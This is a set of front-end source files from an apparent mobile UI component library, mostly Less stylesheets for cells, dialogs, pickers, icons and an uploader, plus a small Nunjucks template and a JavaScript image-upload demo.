min-width: 0;
flex-grow: 1;
margin-left: 80px;
font-size: 28px;
.aside-info {
padding-top: 10px;
}
}
&:last-child {
&:before {
display: none;
}
}
&.active {
.mouth,
.aside-title {
color: @aiuiColorGray;
font-weight: bolder;
}
.aside-info {
color: @aiuiColorMedGray;
font-weight: bolder;
}
.circle {
background-color: @aiuiColorWarn;
}
}
}
}
.footbtn-customer {
.icon-customer {
width: 34px;
height: 34px;
display: block;
margin: auto;
background-color: @aiuiColorGray;
}
&__txt {
display: block;
padding-top: 5px;
font-size: 28px;
font-weight: bolder;
}
}
//查看照片
.preview-box {
position: fixed;
z-index: -1;
opacity: 0;
background-color: fade(@aiuiColorBlack, 70%);
width: 100%;
height: 100%;
top: 0;
left: 0;
}
.clell-preview {
padding: 30px 12px;
.aiui-cell__col {
padding: 0 12px;
margin-bottom: 18px;
}
.swiper-container {
width: 100%;
height: 100%;
}
.swiper-slide {
display: table;
img {
max-width: 90%;
max-height: 80%;
margin: auto;
}
}
.item-list {
width: 100%;
height: 100%;
display: table-cell;
vertical-align: middle;
}
.swiper-pagination {
display: flex;
align-items: center;
justify-content: center;
background-color: @aiuiColorBlack;
color: @aiuiColorWhite;
width: 120px;
height: 50px;
border-radius: 28px;
left: 50%;
transform: translateX(-50%);
bottom: 60px;
font-size: 36px;
z-index: 1005;
}
}
.aiui-preview {
.preview {
display: flex;
align-items: center;
flex-wrap: wrap;
img {
width: 50%;
height: 339px;
padding: 12px;
}
}
}
<file_sep>@import "../../base/fn";
.aiui-toggle_switch {
position: relative;
display: flex;
&:after {
.setFullLine(@aiuiColorPrimary);
border-radius: 27px;
}
&.disabled {
cursor: not-allowed;
opacity: 0.5;
}
.item {
padding-left: 10px;
padding-right: 10px;
line-height: 27px;
color: @aiuiColorPrimary;
&:first-child {
border-top-left-radius: 27px;
border-bottom-left-radius: 27px;
}
&:last-child {
border-top-right-radius: 27px;
border-bottom-right-radius: 27px;
}
&.active {
background-color: @aiuiColorPrimary;
color: #ffffff;
}
}
}
<file_sep>@import "fn";
html {
-ms-text-size-adjust: 100%;
-webkit-text-size-adjust: 100%;
box-sizing: border-box;
}
body {
line-height: 1.5;
font-family: @aiuiFontDefault;
color: @aiuiTextColorTitle;
font-size: @aiuiFontDefaultSize;
background-color: @aiuiBgColorDefault;
}
h1,
h2,
h3,
h4,
h5 {
font-size: 100%;
}
* {
margin: 0;
padding: 0;
.setTapColor();
}
*,
*:before,
*:after {
box-sizing: inherit;
}
a img {
border: 0;
}
a {
text-decoration: none;
}
input,
textarea {
caret-color: @aiuiColorPrimary;
}
button {
border: none;
outline: none;
background-color: transparent;
}
a,
input,
button,
textarea,
select {
font-family: inherit;
font-size: inherit;
line-height: inherit;
color: inherit;
}
img {
display: block;
max-width: 100%;
}
input,
textarea {
.placeholder;
}
ul,
li {
list-style: none;
}
<file_sep>
@import "aiui-font";
[class^="aiui-icon_"]:before, [class*=" aiui-icon_"]:before {
margin: 0;
}
.aiui-icon-success {
font-size: 46px;
color: @aiuiColorPrimary;
}
.aiui-icon-waiting {
font-size: 46px;
color: #10AEFF;
}
.aiui-icon-warn {
font-size: 46px;
color: @aiuiColorWarn;
}
.aiui-icon-info {
font-size: 46px;
color: #10AEFF;
}
.aiui-icon-success-circle {
font-size: 46px;
color: @aiuiColorPrimary;
}
.aiui-icon-success-no-circle {
font-size: 46px;
color: @aiuiColorPrimary;
}
.aiui-icon-waiting-circle {
font-size: 46px;
color: #10AEFF;
}
.aiui-icon-circle {
font-size: 46px;
color: #C9C9C9;
}
.aiui-icon-download {
font-size: 46px;
color: @aiuiColorPrimary;
}
.aiui-icon-info-circle {
font-size: 46px;
color: @aiuiColorPrimary;
}
.aiui-icon-safe-success {
color: @aiuiColorPrimary;
}
.aiui-icon-safe-warn {
color: #FFBE00;
}
.aiui-icon-cancel {
color: @aiuiColorWarn;
font-size: 44px;
}
.aiui-icon-search {
color: @aiuiTextColorDesc;
font-size: 32px;
&:before{
margin-right: 0;
}
}
.aiui-icon-clear {
color: #B2B2B2;
font-size: 28px;
}
.aiui-icon-delete {
&.aiui-icon_gallery-delete{
color:#FFFFFF;
font-size:44px;
}
}
.aiui-icon_msg {
font-size: 128px;
&.aiui-icon-warn {
color: @aiuiColorWarn;
}
}
.aiui-icon_msg-primary {
font-size: 128px;
&.aiui-icon-warn {
color: rgba(0,0,0,.3);
}
}
<file_sep>// prettier-ignore
@maxWidth:768PX;
.fixed-default {
position: fixed;
left: auto;
right: auto;
width: 100%;
max-width: @maxWidth;
margin: auto;
}
// align
.text-center {
text-align: center !important;
}
.text-left {
text-align: left !important;
}
.text-right {
text-align: right !important;
}
// color
.text-primary {
color: @aiuiColorPrimary;
}
.text-warn {
color: @aiuiColorWarn;
}
.text-blue {
color: @aiuiColorBlue;
}
.text-red {
color: @aiuiColorRed;
}
.text-deep__gray {
color: @aiuiColorDeepGray;
}
.text-med__gray {
color: @aiuiColorMedGray;
}
// font-size
.fz22 {
font-size: 22px;
}
.fz24 {
font-size: 24px;
}
.fz26 {
font-size: 26px;
}
.fz28 {
font-size: 28px;
}
.fz30 {
font-size: 30px;
}
.fz32 {
font-size: 32px;
}
.fz34 {
font-size: 34px;
}
.fz36 {
font-size: 36px;
}
.fz38 {
font-size: 38px;
}
.fz40 {
font-size: 40px;
}
.fz48 {
font-size: 48px;
}
.fz60 {
font-size: 40px;
}
.response-img {
width: 100%;
}
.img-percentage {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
//font-weight
.font-weight {
font-weight: bolder;
}
//padding
.pt30 {
padding-top: 30px;
}
.htmltagwrap{
padding: 30px 24px;
}
.abs-center {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
.placeholder(@color: #999999) {
&::-webkit-input-placeholder {
color: @color;
}
&::-moz-placeholder {
color: @color;
}
&:-ms-input-placeholder {
color: @color;
}
}
.avatar {
border-radius: 50%;
overflow: hidden;
position: relative;
img {
width: 100%;
height: 100%;
object-fit: cover;
}
}
.avatar-38 {
width: 38px;
height: 38px;
}
.avatar-45 {
width: 45px;
height: 45px;
}
.avatar-50 {
width: 50px;
height: 50px;
}
.avatar-180 {
width: 180px;
height: 180px;
}
.avatar-32 {
width: 32px;
height: 32px;
}
<file_sep>
@import "../../../base/fn";
.aiui-cell_select {
padding: 0;
.aiui-select {
padding-right: 60px;
}
.aiui-cell__bd{
&:after{
content: " ";
.setArrow(right, 16px, #B2B2B2, 4px);
position: absolute;
top: 50%;
right: @aiuiCellGapH;
margin-top: -10px;
}
}
}
.aiui-select {
-webkit-appearance: none;
border: 0;
outline: 0;
background-color: transparent;
width: 100%;
font-size: inherit;
height: @aiuiCellHeight;
line-height: @aiuiCellHeight;
position: relative;
z-index: 1;
padding-left: @aiuiCellGapH;
}
.aiui-cell_select-before {
padding-right:@aiuiCellGapH;
.aiui-select{
width:@aiuiCellLabelWidth;
box-sizing: border-box;
}
.aiui-cell__hd {
position:relative;
&:after {
.setRightLine(@aiuiCellBorderColor);
}
&:before{
content: " ";
.setArrow(right, 16px, #B2B2B2, 4px);
position: absolute;
top: 50%;
right: @aiuiCellGapH;
margin-top: -10px;
}
}
.aiui-cell__bd {
padding-left:@aiuiCellGapH;
&:after{
display:none;
}
}
}
.aiui-cell_select-after {
padding-left:@aiuiCellGapH;
.aiui-select {
padding-left:0;
}
}
<file_sep>
@import "../../base/fn";
@import "./aiui-form/aiui-form_common";
@import "./aiui-form/aiui-form-preview";
@import "./aiui-form/aiui-select";
@import "./aiui-form/aiui-vcode";<file_sep>@import "../../base/fn";
.aiui-cells {
background-color: @aiuiCellBg;
font-size: @aiuiCellFontSize;
overflow: hidden;
}
.aiui-cells__gap {
margin-top: 20px;
}
.aiui-cells__title {
padding: @aiuiCellGapV @aiuiCellGapH;
font-size: 30px;
&.\-primary {
background-color: #fff;
}
}
.aiui-cells__tips {
padding: 24px;
display: flex;
align-items: center;
&.\-primary {
background-color: #fff;
}
}
.aiui-cell__col {
width: 100%;
margin-bottom: 30px;
}
.aiui-cell {
padding: @aiuiCellGapV @aiuiCellGapH;
position: relative;
.Grid;
align-items: center;
&:before {
.setTopLine(@aiuiCellBorderColor);
left: @aiuiCellGapH;
z-index: 1;
}
&:first-child {
&:before {
display: none;
}
}
.icon-arrow-right {
width: 38px;
height: 38px;
background-color: #999;
margin-left: 10px;
}
.icon-camera {
width: 48px;
height: 48px;
background-color: @aiuiColorPrimary;
margin-left: 10px;
}
.icon-scan-3px {
width: 52px;
height: 52px;
background-color: @aiuiColorDeepGray;
margin-left: 10px;
}
&.\-regular {
height: 120px;
padding: 0 @aiuiCellGapH;
}
}
.aiui-cell__hd {
margin-right: 24px;
}
.aiui-cell__bd {
flex: 1;
}
.aiui-cell__primary {
align-items: flex-start;
}
.aiui-cell__ft {
position: relative;
display: flex;
align-items: center;
}
<file_sep>/* 图片手动上传 */
var uploadCount = 0,
uploadCustomFileList = [];
aiui.uploader('#uploader', {
url: 'http://' + location.hostname + ':8002/upload', //你要上传的url地址
auto: false,
type: 'file',
fileVal: 'fileVal', //文件上传域的name,后台通过该name拿到传输的文件
// 上传图片压缩
compress: {
width: 800,
quality: .8
},
onBeforeQueued: function onBeforeQueued(files) {
//上传前,对上传的情况做以下多个判断,保证合法性,可自行删改
var uploadCountSize=$('#uploader').data('size');
if (["image/jpg", "image/jpeg", "image/png", "image/gif"].indexOf(this.type) < 0) {
aiui.alert('请上传图片');
return false;
}
if (this.size > 10 * 1024 * 1024) {
aiui.alert('请上传不超过10M的图片');
return false;
}
// 如果图片数量上传不限制请配置false,否则配置相应的数量
if(uploadCountSize==false){
if (files.length > 5) {
// 防止一下子选中过多文件
aiui.alert('最多只能上传5张图片,请重新选择');
return false;
}
}else{
if (files.length > uploadCountSize) {
// 防止一下子选中过多文件
aiui.alert('最多只能上传'+uploadCountSize+'张图片,请重新选择');
return false;
}
if (uploadCount + 1 > uploadCountSize) {
aiui.alert('最多只能上传'+uploadCountSize+'张图片');
return false;
}
++uploadCount;
}
},
onQueued: function onQueued() {
uploadCustomFileList.push(this);
}
});
// 缩略图预览
var $uploaderInput = $("#uploaderInput"),
$uploaderFiles = $("#uploaderFiles");
$uploaderInput.on("change", function (e) {
var src,
url = window.URL || window.webkitURL || window.mozURL,
files = e.target.files;
for (var i = 0, len = files.length; i < len; ++i) {
var file = files[i];
if (url) {
src = url.createObjectURL(file);
} else {
src = e.target.result;
}
$uploaderFiles.append($(tmpl.replace('#url#', src)));
if (url) {
url = url.match(/url\((.*?)\)/)[1].replace(/"/g, '');
}
}
});
$uploaderFiles.on("click", function (e) {
var target = e.target;
while (!target.classList.contains('aiui-uploader__file') && target) {
target = target.parentNode;
}
if (!target) return;
var url = target.getAttribute('style') || '';
if (url) {
url = url.match(/url\((.*?)\)/)[1].replace(/"/g, '');
}
var gallery = aiui.gallery(url, {
className: 'custom-name',
onDelete: function onDelete() {
aiui.confirm('确定删除该图片?', {
buttons: [{
label: '取消',
type: 'default',
onClick: function(){ }
}, {
label: '确定',
type: 'primary',
onClick: function(){
console.log(target);
target.remove();
gallery.hide(); }
}]
});
}
});
});
<file_sep>
@import "../../../base/fn";
.aiui-cell_vcode {
padding-top: 0;
padding-right: 0;
padding-bottom: 0;
}
.aiui-vcode-img{
margin-left: 10px;
height: @aiuiCellHeight;
vertical-align: middle;
}
.aiui-vcode-btn {
display: inline-block;
height: @aiuiCellHeight;
margin-left: 10px;
padding: 0 18px 0 22px;
line-height: @aiuiCellHeight;
vertical-align: middle;
font-size: @aiuiCellFontSize;
color: @aiuiDialogLinkColor;
position:relative;
&:before{
.setLeftLine(@aiuiLineColorLight);
}
button&{
background-color: transparent;
border: 0;
outline: 0;
}
&:active {
color: desaturate(@aiuiDialogLinkColor, 30%);
}
}
<file_sep>@import "../../base/fn";
.aiui-dialog__wrap {
display: none;
position: relative;
z-index: 5000;
}
.aiui-dialog {
position: fixed;
z-index: 5000;
top: 50%;
left: 50%;
width: @aiuiDialogWidth;
transform: translate(-50%, -50%);
background-color: @aiuiDialogBackgroundColor;
text-align: center;
border-radius: @aiuiDialogRadius;
overflow: hidden;
}
.aiui-dialog__hd {
position: relative;
padding: @aiuiDialogGapYWidth @aiuiDialogGapXWidth;
}
.aiui-dialog__title {
font-weight: 700;
font-size: 36px;
line-height: 1.4;
}
.aiui-dialog__bd {
padding: 0 @aiuiDialogGapXWidth @aiuiDialogGapYWidth;
min-height: 80px;
font-size: 30px;
line-height: 1.4;
word-wrap: break-word;
word-break: break-all;
color: @aiuiTextColorDesc;
&:first-child {
padding: @aiuiDialogGapXWidth @aiuiDialogGapYWidth;
}
}
.aiui-dialog__ft {
position: relative;
line-height: 100px;
font-size: 36px;
display: flex;
&:after {
content: " ";
.setTopLine(@aiuiDialogLineColor);
}
}
.aiui-dialog__btn {
display: block;
flex: 1;
font-weight: 700;
text-decoration: none;
.setTapColor();
&:active {
background-color: @aiuiDialogLinkActiveBc;
}
position: relative;
&:after {
content: " ";
.setLeftLine(@aiuiDialogLineColor);
}
&:first-child {
&:after {
display: none;
}
}
}
.aiui-dialog__btn_default {
color: @aiuiTextColorTips;
}
.aiui-dialog__btn_primary {
color: @aiuiColorPrimary;
}
.aiui-dialog__custom {
position: fixed;
z-index: 5000;
top: 50%;
left: 50%;
width: @aiuiDialogWidth;
transform: translate(-50%, -50%);
}
<file_sep>@vwFontsize: 100;
@vwDesign: 750;
// prettier-ignore
@maxWidth: 768PX;
/* 1rem = 100px */
html {
@remV: @vwFontsize / @vwDesign * 100vw;
font-size: @remV;
@media screen and (max-width: 320px) {
// prettier-ignore
font-size: 42.667PX;
font-size: @remV;
}
@media screen and (min-width: 321px) and (max-width: 360px) {
// prettier-ignore
font-size: 48PX;
font-size: @remV;
}
@media screen and (min-width: 361px) and (max-width: 375px) {
// prettier-ignore
font-size: 50PX;
font-size: @remV;
}
@media screen and (min-width: 376px) and (max-width: 393px) {
// prettier-ignore
font-size: 52.4PX;
font-size: @remV;
}
@media screen and (min-width: 394px) and (max-width: 412px) {
// prettier-ignore
font-size: 54.93PX;
font-size: @remV;
}
@media screen and (min-width: 413px) and (max-width: 414px) {
// prettier-ignore
font-size: 55.2PX;
font-size: @remV;
}
@media screen and (min-width: 415px) and (max-width: 480px) {
// prettier-ignore
font-size: 64PX;
font-size: @remV;
}
@media screen and (min-width: 481px) and (max-width: 540px) {
// prettier-ignore
font-size: 72PX;
font-size: @remV;
}
@media screen and (min-width: 541px) and (max-width: 640px) {
// prettier-ignore
font-size: 85.33PX;
font-size: @remV;
}
@media screen and (min-width: 641px) and (max-width: 720px) {
// prettier-ignore
font-size: 96PX;
font-size: @remV;
}
@media screen and (min-width: 721px) and (max-width: 768px) {
// prettier-ignore
font-size: 102.4PX;
font-size: @remV;
}
@media screen and (min-width: 769px) {
// prettier-ignore
font-size: 102.4PX;
}
}
@media screen and (min-width: 769px) {
.app-container {
max-width: @maxWidth;
margin-left: auto !important;
margin-right: auto !important;
}
}
<file_sep>
@import "../../base/fn";
.aiui-progress {
display: flex;
align-items: center;
}
.aiui-progress__bar {
background-color: @aiuiProgressBg;
height: @aiuiProgressHeight;
flex: 1;
}
.aiui-progress__inner-bar {
width: 0;
height: 100%;
background-color: @aiuiProgressColor;
}
.aiui-progress__opr {
display: block;
margin-left: 30px;
font-size: 0;
}<file_sep>
@import "../../base/fn";
.aiui-article {
padding: 48px 32px;
padding:48px calc(32px ~"+ constant(safe-area-inset-right)") calc(48px ~"+ constant(safe-area-inset-bottom)") calc(32px ~"+ constant(safe-area-inset-left)");
padding:48px calc(32px ~"+ env(safe-area-inset-right)") calc(48px ~"+ env(safe-area-inset-bottom)") calc(32px ~"+ env(safe-area-inset-left)");
font-size: 17px;
color:rgba(0,0,0,.9);
section {
margin-bottom: 48px;
}
h1 {
font-size: 44px;
font-weight:700;
margin-bottom: 28px;
line-height:1.4;
}
h2 {
font-size: 34px;
font-weight:700;
margin-bottom: 10px;
line-height:1.4;
}
h3 {
font-weight:700;
font-size: 30px;
margin-bottom: 10px;
line-height:1.4;
}
* {
max-width: 100%;
box-sizing: border-box;
word-wrap: break-word;
}
p {
margin: 0 0 24px;
}
}
<file_sep>/* reset */
html,
body {
height: 100%;
-webkit-tap-highlight-color: transparent;
}
body {
font-family: -apple-system-font, "Helvetica Neue", Helvetica, sans-serif;
font-size: 28px;
}
ul {
list-style: none;
}
p {
font-size: 34px;
}
body,
.page {
background-color: #f5f5f5;
}
.page {
box-sizing: border-box;
}
/* lib */
.link {
color: #07c160;
}
/* layout */
.page {
min-height: 100vh;
}
.page__hd {
padding: 80px;
}
.page__bd {
}
.page__bd_spacing {
padding: 0 32px;
}
.page__ft {
padding-top: 80px;
padding-bottom: 20px;
padding-bottom: calc(20px ~"+ constant(safe-area-inset-bottom)");
padding-bottom: calc(20px ~"+ env(safe-area-inset-bottom)");
text-align: center;
img {
height: 38px;
}
&.j_bottom {
position: absolute;
bottom: 0;
left: 0;
right: 0;
}
}
.page__title {
text-align: left;
font-size: 40px;
font-weight: 400;
}
.page__desc {
margin-top: 8px;
color: rgba(0, 0, 0, 0.5);
text-align: left;
font-size: 28px;
}
/* widget */
.aiui-cell_example {
&:before {
left: 104px;
}
}
.page.progress {
background-color: #ffffff;
}
.page.home {
@pageHomePadding: 40px;
.page__intro-icon {
margin-top: -6px;
margin-left: 10px;
width: 32px;
height: 32px;
vertical-align: middle;
}
.page__bd {
img {
width: 60px;
height: 60px;
}
li {
margin: 16px 0;
background-color: #ffffff;
overflow: hidden;
border-radius: 4px;
cursor: pointer;
&.js_show {
.aiui-flex {
opacity: 0.5;
}
.page__category {
height: auto;
}
.page__category-content {
opacity: 1;
transform: translateY(0);
}
}
&:first-child {
margin-top: 0;
}
}
}
.page__category {
height: 0;
overflow: hidden;
}
.page__category-content {
opacity: 0;
transform: translateY(-50%);
transition: 0.3s;
}
.aiui-flex {
padding: @pageHomePadding;
align-items: center;
transition: 0.3s;
//&:active{
// background-color: #ECECEC;
//}
}
.aiui-cells {
margin-top: 0;
&:before,
&:after {
display: none;
}
}
.aiui-cell {
padding-left: @pageHomePadding;
padding-right: @pageHomePadding;
&:before {
left: @pageHomePadding;
right: @pageHomePadding;
}
}
}
.page.button {
background-color: #ededed;
.page__bd {
padding: 0;
}
.button-sp-area {
padding: 15px 30px;
text-align: center;
p {
font-size: 28px;
}
.aiui-btn {
margin-top: 10px;
}
}
}
.page.cell {
.page__bd {
padding-bottom: 60px;
}
}
.page.form {
.page__bd {
padding-bottom: 60px;
}
}
.page.actionsheet {
background-color: #ffffff;
}
.page.dialog {
background-color: #ffffff;
.page__bd {
padding: 0 30px;
}
}
.page.msg,
.page.msg_text,
.page.msg_text_primary,
.page.msg_success,
.page.msg_warn {
background-color: #ffffff;
}
.page.toast {
background-color: #ffffff;
}
.page.panel {
.page__bd {
padding-bottom: 40px;
}
}
.page.article {
background-color: #ffffff;
}
.page.icons {
text-align: center;
.page__bd {
padding: 0 80px;
text-align: left;
}
.icon-box {
margin-bottom: 50px;
display: flex;
align-items: center;
i {
margin-right: 36px;
}
}
.icon-box__ctn {
flex-shrink: 100;
}
.icon-box__title {
font-weight: normal;
}
.icon-box__desc {
margin-top: 12px;
font-size: 24px;
color: #888888;
}
.icon_sp_area {
margin-top: 20px;
text-align: left;
i:before {
margin-bottom: 10px;
}
}
}
.page.flex {
.placeholder {
margin: 10px;
padding: 0 20px;
background-color: #f7f7f7;
height: 72px;
line-height: 72px;
text-align: center;
color: rgba(0, 0, 0, 0.3);
}
}
.page.loadmore {
background-color: #ffffff;
}
.page.layers {
@layerBaseTransform: translateX(30px) rotateX(45deg) rotateZ(10deg) skew(-15deg);
@layerStartPos: 240px;
@layerSpacing: 160px;
@layerSmallStartPos: 280px;
@layerSmallSpacing: 120px;
overflow-x: hidden;
perspective: 1000px;
.page__hd {
@media only screen and (max-width: 320px) {
padding-left: 40px;
padding-right: 40px;
}
}
.page__bd {
position: relative;
}
.page__desc {
min-height: 1.6 * 3em;
}
.layers__layer {
position: absolute;
left: 50%;
width: 300px;
height: 532px;
margin-left: -150px;
box-sizing: border-box;
transition: 0.5s;
background: url(images/layers/transparent.gif) no-repeat center center;
background-size: contain;
font-size: 28px;
color: #ffffff;
span {
position: absolute;
bottom: 10px;
left: 0;
right: 0;
text-align: center;
transition: 0.5s;
}
&:last-child {
span {
color: #aaaaaa;
}
}
&.j_hide {
opacity: 0;
}
&.j_pic {
span {
color: transparent;
}
}
@media only screen and (min-width: 375px) and (min-height: 603px) {
width: 360px;
height: 640px;
margin-left: -180px;
}
@media only screen and (min-width: 414px) and (min-height: 640px) {
width: 400px;
height: 710px;
margin-left: -200px;
}
}
.layers__layer_popout {
border: 1px solid rgba(203, 203, 203, 0.5);
z-index: 4;
&.j_transform {
transform: @layerBaseTransform translateZ(@layerStartPos);
@media only screen and (max-width: 320px) {
transform: @layerBaseTransform translateZ(@layerSmallStartPos);
}
}
&.j_pic {
border-color: transparent;
background-image: url(images/layers/popout.png);
}
}
.layers__layer_mask {
background-color: rgba(0, 0, 0, 0.5);
z-index: 3;
&.j_transform {
transform: @layerBaseTransform translateZ(@layerStartPos - @layerSpacing);
@media only screen and (max-width: 320px) {
transform: @layerBaseTransform translateZ(@layerSmallStartPos - @layerSmallSpacing);
}
}
}
.layers__layer_navigation {
background-color: rgba(40, 187, 102, 0.5);
z-index: 2;
&.j_transform {
transform: @layerBaseTransform translateZ(@layerStartPos - 2 * @layerSpacing);
@media only screen and (max-width: 320px) {
transform: @layerBaseTransform translateZ(@layerSmallStartPos - 2 * @layerSmallSpacing);
}
}
&.j_pic {
background-color: transparent;
background-image: url(images/layers/navigation.png);
}
}
.layers__layer_content {
background-color: #ffffff;
z-index: 1;
&.j_transform {
transform: @layerBaseTransform translateZ(@layerStartPos - 3 * @layerSpacing);
@media only screen and (max-width: 320px) {
transform: @layerBaseTransform translateZ(@layerSmallStartPos - 3 * @layerSmallSpacing);
}
}
&.j_pic {
background-image: url(images/layers/content.png);
}
}
}
.page.searchbar {
.searchbar-result {
display: none;
margin-top: 0;
font-size: 28px;
.aiui-cell__bd {
padding: 4px 0 4px 40px;
color: #666;
}
}
}
.page.actionsheet {
overflow: hidden;
}
.page.picker {
background-color: #ffffff;
overflow: hidden;
}
.page.gallery {
overflow: hidden;
}
/* animation */
@keyframes slideIn {
from {
transform: translate3d(100%, 0, 0);
opacity: 0;
}
to {
transform: translate3d(0, 0, 0);
opacity: 1;
}
}
@keyframes slideOut {
from {
transform: translate3d(0, 0, 0);
opacity: 1;
}
to {
transform: translate3d(100%, 0, 0);
opacity: 0;
}
}
.page.slideIn {
animation: slideIn 0.2s forwards;
}
.page.slideOut {
animation: slideOut 0.2s forwards;
}
// iphone x
@supports (top: constant(safe-area-inset-top)) {
.page {
padding: constant(safe-area-inset-top) constant(safe-area-inset-right) constant(safe-area-inset-bottom) constant(safe-area-inset-left);
&.tabbar,
&.navbar {
padding-left: 0;
padding-right: 0;
}
}
.aiui-tab__panel {
padding-left: constant(safe-area-inset-left);
padding-right: constant(safe-area-inset-right);
}
}
@supports (top: env(safe-area-inset-top)) {
.page {
padding: env(safe-area-inset-top) env(safe-area-inset-right) env(safe-area-inset-bottom) env(safe-area-inset-left);
&.tabbar,
&.navbar,
&.msg_success,
&.msg_warn,
&.msg_text,
&.msg_text_primary,
&.article {
padding: 0;
}
}
}
<file_sep>// color
@aiuiColorPrimary: #19cf77;
@aiuiColorBlue: #4d97ff;
@aiuiColorBrown: #794000;
@aiuiColorWarn: #ff9500;
@aiuiColorBlack: #000000;
@aiuiColorWhite: #ffffff;
@aiuiColorRed: #ff2741;
@aiuiColorGray: #333333;
@aiuiColorMedGray: #666666;
@aiuiColorDeepGray: #999999;
@aiuiColorLightGray: #cccccc;
// active mask
@aiuiActiveMaskWhite: rgba(0, 0, 0, 0.05);
@aiuiActiveMaskColored: rgba(0, 0, 0, 0.1);
@aiuiActiveMaskBlack: rgba(0, 0, 0, 0.15);
// link
@aiuiLinkColorDefault: #576b95;
// background
@aiuiBgColorDefault: #f5f5f5;
@aiuiBgColorPrimary: #fff3f5;
@aiuiBgColorActive: #ececec;
@aiuiBgColorMain: #7fd688;
// line
@aiuiLineColorLight: rgba(0, 0, 0, 0.1);
@aiuiLineColorDark: rgba(0, 0, 0, 0.3);
@aiuiBorderLineColor: #ededed;
// text
@aiuiTextColorTitle: #333333;
@aiuiTextColorDesc: #666666;
@aiuiTextColorTips: #999999;
@aiuitextcolortxt: #196236;
@aiuiTextColorWarn: @aiuiColorWarn;
<file_sep>{% extends 'example.nunjucks' %}
{% block title %}Msg{% endblock %}
{% block content %}
<div class="page">
<div class="page__hd">
<h1 class="page__title">Msg</h1>
<p class="page__desc">提示页</p>
</div>
<div class="page__bd page__bd_spacing">
<a href="msg-success.html" class="aiui-btn aiui-btn_default">成功提示页</a>
<a href="msg-warn.html" class="aiui-btn aiui-btn_default">失败提示页</a>
</div>
</div>
{% endblock %}<file_sep>
@import "../../base/fn";
.aiui-uploader__hd{
display: flex;
padding-bottom: @aiuiCellGapV;
align-items: center;
}
.aiui-uploader__title{
flex: 1;
font-size: 28px;
color:@aiuiColorMedGray
}
.aiui-uploader__info{
color: @aiuiTextColorTips;
}
.aiui-uploader__bd{
margin-bottom: @aiuiCellGapH - (@aiuiCellGapV + @aiuiUploaderFileSpacing);
margin-right: -@aiuiUploaderFileSpacing;
overflow: hidden;
}
.aiui-uploader__files{
list-style: none;
}
.aiui-uploader__file{
float: left;
margin-right: @aiuiUploaderFileSpacing;
margin-bottom: @aiuiUploaderFileSpacing;
width: @aiuiUploaderSize;
height: @aiuiUploaderSize;
background: no-repeat center center;
background-size: cover;
}
.aiui-uploader__file_status{
position: relative;
&:before{
content: " ";
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
background-color: rgba(0, 0, 0, .5);
}
.aiui-uploader__file-content{
display: block;
}
}
.aiui-uploader__file-content{
display: none;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: #FFFFFF;
.aiui-icon-warn{
display: inline-block;
}
}
.aiui-uploader__input-box{
float:left;
position: relative;
margin-right: @aiuiUploaderFileSpacing;
margin-bottom: @aiuiUploaderFileSpacing;
width: @aiuiUploaderSize;
height: @aiuiUploaderSize;
box-sizing:border-box;
border-radius: 10px;
border:@aiuiUploaderBorderWidth solid @aiuiBgColorDefault;
// background-color:@aiuiBgColorDefault;
&:before, &:after{
content: " ";
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: @aiuiBgColorDefault;
}
&:before{
width: @aiuiUploaderBorderWidth + 1;
height: @aiuiUploaderSize / 3;
}
&:after{
width: @aiuiUploaderSize / 3;
height: @aiuiUploaderBorderWidth + 1;
}
&:active{
border-color: @aiuiUploaderActiveBorderColor;
&:before, &:after{
background-color: @aiuiUploaderActiveBorderColor;
}
}
}
.aiui-uploader__input{
position: absolute;
z-index: 1;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
.setTapColor();
}
<file_sep>@import "../../base/fn";
.aiui-badge {
display: inline-block;
padding: 4px 12px;
min-width: 16px;
border-radius: 36px;
background-color: @aiuiColorRed;
color: #ffffff;
line-height: 1.2;
text-align: center;
font-size: 24px;
vertical-align: middle;
}
.aiui-badge_dot {
padding: 8px;
min-width: 0;
}
<file_sep>@import "../../base/fn";
.ui-count {
display: inline-flex;
align-items: center;
border-radius: 10px;
position: relative;
&:after {
.setFullLine(@aiuiColorDeepGray);
border-radius: 10px * 2;
}
&_btn {
height: 70px;
width: 70px;
position: relative;
display: flex;
align-items: center;
justify-content: center;
z-index: 1;
i {
width: 24px;
height: 24px;
background-color: @aiuiColorGray;
}
&:disabled {
i {
opacity: 0.5;
}
}
}
&_decrease {
&:after {
.setRightLine(@aiuiColorDeepGray);
}
}
&_increase {
&:after {
.setLeftLine(@aiuiColorDeepGray);
}
}
&_number {
background-color: transparent;
border: 0;
width: 110px;
text-align: center;
line-height: normal;
outline: none;
}
}
<file_sep>@import "../../base/fn";
.aiui-flex {
display: flex;
}
.aiui-flex__item {
flex: 1;
}
.chose-list {
width: 100%;
padding-left: 12px;
padding-right: 12px;
.Grid;
align-items: stretch;
&__item {
margin-top: 12px;
margin-bottom: 12px;
.content {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
position: relative;
height: 100%;
margin-left: 12px;
margin-right: 12px;
padding: 20px 24px;
text-align: center;
border-radius: 10px;
text-align: center;
line-height: 1.4;
&:after {
.setFullLine(@aiuiColorDeepGray, 10px);
}
}
&.active {
.content {
background-color: @aiuiColorPrimary;
color: @aiuiColorWhite;
* {
color: @aiuiColorWhite;
}
&:after {
border-color: transparent;
}
}
}
}
}
<file_sep>@import "../../base/fn";
@pickerItemHeight: 96px;
.aiui-picker {
position: fixed;
width: 100%;
box-sizing: border-box;
left: 0;
bottom: 0;
z-index: 5000;
background-color: #fff;
border-top-left-radius: @aiuiDialogRadius;
border-top-right-radius: @aiuiDialogRadius;
padding-bottom: calc(100px ~"+ constant(safe-area-inset-bottom)");
padding-bottom: calc(100px ~"+ env(safe-area-inset-bottom)");
backface-visibility: hidden;
transform: translate(0, 100%);
//slide up animation
transition: transform 0.3s;
}
.aiui-picker__hd {
display: flex;
align-items: center;
padding: 25px;
padding: 25px calc(25px ~"+ constant(safe-area-inset-right)") 25px
calc(25px ~"+ constant(safe-area-inset-left)");
padding: 25px calc(25px ~"+ env(safe-area-inset-right)") 25px
calc(25px ~"+ env(safe-area-inset-left)");
position: relative;
text-align: center;
font-size: 34px;
line-height: 1.4;
&:after {
.setBottomLine(@aiuiLineColorLight);
}
}
.aiui-picker__title {
font-size: 32px;
font-weight: normal;
flex: 1;
}
